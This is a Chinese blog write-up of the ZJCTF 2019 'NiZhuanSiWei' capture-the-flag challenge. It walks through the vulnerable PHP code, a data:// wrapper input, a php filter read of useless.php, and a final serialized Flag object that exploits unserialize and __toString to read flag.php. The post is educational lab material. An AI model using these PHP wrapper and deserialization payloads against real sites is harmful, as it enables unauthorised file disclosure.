• [ZJCTF 2019]NiZhuanSiWei


    知识点

    反序列化
    伪协议

    审题

    <?php  
    $text = $_GET["text"];
    $file = $_GET["file"];
    $password = $_GET["password"];
    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
        echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
        if(preg_match("/flag/",$file)){
            echo "Not now!";
            exit(); 
        }else{
            include($file);  //useless.php
            $password = unserialize($password);
            echo $password;
        }
    }
    else{
        highlight_file(__FILE__);
    }
    ?>
    

    非常简洁的题目 只给了你代码 代码较短稍微分析一下 首先三个get请求分别传参 然后如果传入的text不为空 那么file_get_contents到text的内容必须是welcome to the zjctf 这要求我们通过get传参给写入一个文件 很显然是要用伪协议了
    data协议:php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码

    ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
    

    后面那一串是welcome to the zjctf的base64 题目给了个Hint 让我们查看useless.php 直接file=useless.php没有回显 尝试一下在用一次filter伪协议读 读出来了一串base64 解密之后

    <?php  
    
    class Flag{  //flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    ?>  
    
    

    这部分就是一个可以利用的类 我们可以利用file_get_content函数传一个flag参数 但是我们传的file参数里面 如果含有flag 会被check到 似乎是一个矛盾的问题

    __tostring的调用

    这道题主要是考察魔术方法__tostring 这个函数虽然天天见 但其实没那么简单 贴上一个小例子

    <?php
    class Person{
        private $name = "";
        private $age = 0;
        public function __construct($name = "", $age = ""){
            $this->name = $name;
            $this->age = $age;
        } 
        function say(){
            echo "name:".$this->name."<br/>"."age:".$this->age."<br/>"; 
        }
    }
    $p1 = new person("sjyyds",20);
    echo $p1;
    
    

    如果我们直接执行这样的一个php文件 会报错:Object of class Person could not be converted to string 这个错都看得懂 如果我们在刚刚的类里面加上这样一个函数 就不会报错了

    public function __toString(){
            return "I am  Person,my name is ".$this->name."<br/>";
        }
    

    如果不加上这个__tostring 单纯的把上一步的echo $p1给删了 程序也是对的 我们发现 在实例化并打印一个对象的时候 是需要__tostring这个函数的 或者说__tostring是会自动调用的

    解题

    就很好理解了 我们在反序列化password的时候 在后端这个__tostring是会在反序列化的同时被调用的 而我们就可以利用里面的file_get_contents来拿到flag 贴上最终exp

    <?php  
    
    class Flag{  //flag.php  
        public $file = "flag.php";  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    
    $a = new Flag;
    echo serialize($a);
    ?>  
    
    

    拿到flag

    EOF

    P.S.隔了好久没做web的题了 中间都在做取证 真的感觉忘了好多QAQ

  • 相关阅读:
    java各种框架的比较,分析
    HTTP请求响应码
    jersey获取各个参数的总结
    web项目中各种路径的获取
    netsh学习
    解决sqlplus: command not found
    win10 提速
    解决win10 64位系统可用2.99g
    Windows10关闭SearchUI.exe进程的方法
    msf payload
  • 原文地址:https://www.cnblogs.com/zhwyyswdg/p/14281899.html
Copyright © 2020-2023  润新知